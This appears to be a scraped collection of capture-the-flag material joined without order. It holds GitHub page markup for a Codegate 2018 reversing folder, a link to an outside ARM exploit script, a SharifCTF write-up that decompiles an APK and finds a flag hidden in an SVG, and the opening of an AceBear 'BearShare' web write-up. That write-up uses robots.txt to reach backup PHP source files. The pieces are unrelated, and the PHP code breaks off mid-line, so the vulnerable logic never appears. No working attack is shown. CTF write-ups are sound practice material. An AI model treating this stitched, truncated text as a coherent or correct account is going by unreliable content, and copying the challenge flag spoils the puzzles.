<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/AnisBoss/CTFs/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":102334842,"originating_url":"https://github.com/AnisBoss/CTFs/tree/master/Codegate%20CTF%202018/RedVelvet%20-%20254pts%20(Rev)","user_id":null}}" data-hydro-click-hmac="c00a8763215aad0fa5f2c840a66e5603cee08f1e19c755cb3b80f8e54cbc290f"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/AnisBoss/CTFs/refs" cache-key="v0:1504513197.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QW5pc0Jvc3MvQ1RGcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/AnisBoss/CTFs/refs" cache-key="v0:1504513197.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QW5pc0Jvc3MvQ1RGcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTFs</span></span></span><span>/</span><span><span>Codegate CTF 2018</span></span><span>/</span>RedVelvet - 254pts (Rev)<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTFs</span></span></span><span>/</span><span><span>Codegate CTF 2018</span></span><span>/</span>RedVelvet - 254pts (Rev)<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/AnisBoss/CTFs/tree-commit/535e1e5b04425e859058e8ef9450f4d76580728f/Codegate%20CTF%202018/RedVelvet%20-%20254pts%20(Rev)" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/AnisBoss/CTFs/file-list/master/Codegate%20CTF%202018/RedVelvet%20-%20254pts%20(Rev)"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
Writeup solution script can be found here: [https://github.com/IARyan/CTFSolutions/blob/master/2018/AceBear/arm-exploit/arm_exploit.py](https://github.com/IARyan/CTFSolutions/blob/master/2018/AceBear/arm-exploit/arm_exploit.py) |
> 200>> The Skeleton Key> > Find the flag :)>> [Download](https://0xd13a.github.io/ctfs/sharif2018/the-skeleton-key/The%20Skeleton%20Key.zip)
Let's open the APK with the following set of commands:
```apktool d -s The\ Skeleton\ Key.apk dex2jar classes.dex java -jar cfr_0_113.jar --outputdir src classes_dex2jar.jar```
Close inspection reveals nothing interesting - pretty much all the app does is display the picture of a [skull](https://0xd13a.github.io/ctfs/sharif2018/the-skeleton-key/logo.svg):
```java WebView webView = (WebView)this.findViewById(2131492941); webView.getSettings().setJavaScriptEnabled(true); webView.loadDataWithBaseURL("", "", "text/html", "utf-8", "");```

At first glance there is nothing special about this image. However the Google search for similar images brings up the original for this picture, which is much smaller in size: https://upload.wikimedia.org/wikipedia/commons/e/e3/Skull-Icon.svg
Let's load the image in http://www.clker.com/inc/svgedit/svg-editor.html. We can select and delete the skull, which reveals a large black dot remaining in the image. Once we stretch it out a little bit we discover the hash value:

The flag is ```SharifCTF{be278492ae9b998eaebe3ca54c8000de}```. |
# BearShare 1 & 2
BearShare 1 and 2 were two 100 point challenges based on the same code in theAceBear Security Contest 2018. Although they have been flagged by quite a largenumber of teams, they were quite interesting and deserve a writeup. They willbe solved in order, so if you're only interested in the solution of BearShare 2,you can easily skip the whole first part of the writeup.
# Challenge description
### BearShare
```Description: I have an idea, I want to change the way we communicate.Website: http://35.198.201.83/```
### BearShare 2
```Description: Well, there is one more thing. After get flag in level 1, try to discover 1 more.Website: http://35.198.201.83/```
## BearShare
After solving the **welcome** Web challenge of the same CTF, we decide to checkif we can find interesting information in `/robots.txt` right away. Thisdisplays the following:
```User-agent: *Disallow: /backup_files```
### Backup files
`/backup_files` contains two files: `download.txt` and `index.txt`. We downloadboth of them right away.
We quickly check the website and realize that it only contains two accessiblepages, `index.php` and `download.php`. I think it is safe to assume that wepossess the whole relevant source code of the website at this point.
`index.txt` contains the following PHP code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <link rel="icon" href="favicon.ico">
<title>BearShare</title>
<link href="dist/css/bootstrap.min.css" rel="stylesheet">
<style> /* Sticky footer styles -------------------------------------------------- */ html { position: relative; min-height: 100%; } body { /* Margin bottom by footer height */ margin-bottom: 60px; } .footer { position: absolute; bottom: 0; width: 100%; /* Set the fixed height of the footer here */ height: 60px; line-height: 60px; /* Vertically center the text there */ background-color: #f5f5f5; }
/* Custom page CSS -------------------------------------------------- */ /* Not required for template or sticky footer method. */
body > .container { padding: 60px 15px 0; }
.footer > .container { padding-right: 15px; padding-left: 15px; }
code { font-size: 80%; } </style> </head>
<body>
<header> <nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark"> BearShare <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation"> <span></span> </button> <div class="collapse navbar-collapse" id="navbarCollapse"> Create message<span>(current)</span> Get message </div> </nav> </header>
<main role="main" class="container"> <div class="mt-3"> <h1>BearShare</h1> <h3>Private message sharing</h3> </div> Need a dumb way to share your private message? Use BearShare! Your message stored at server: Your message's ID: <form class="form-signin" method="POST" action="index.php"> <input type="text" placeholder="Your private message" class="form-control" name="message"/> <button class="btn btn-lg btn-primary btn-block" style="max-width:300px;margin:auto;margin-top:30px;" type="submit">Create</button> </form> </main>
Need a dumb way to share your private message? Use BearShare!
Your message stored at server:
Your message's ID:
<footer class="footer"> <div class="container"> <span>Content © 2018 - AceBear</span> </div> </footer>
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script> <script>window.jQuery || document.write('<script src="assets/js/vendor/jquery-slim.min.js"><\/script>')</script> <script src="assets/js/vendor/popper.min.js"></script> <script src="dist/js/bootstrap.min.js"></script> </body></html>```
and `download.txt` contains the following PHP code:
```php&1'); } else { die('Hey, are you a haxor?'); } }
?>
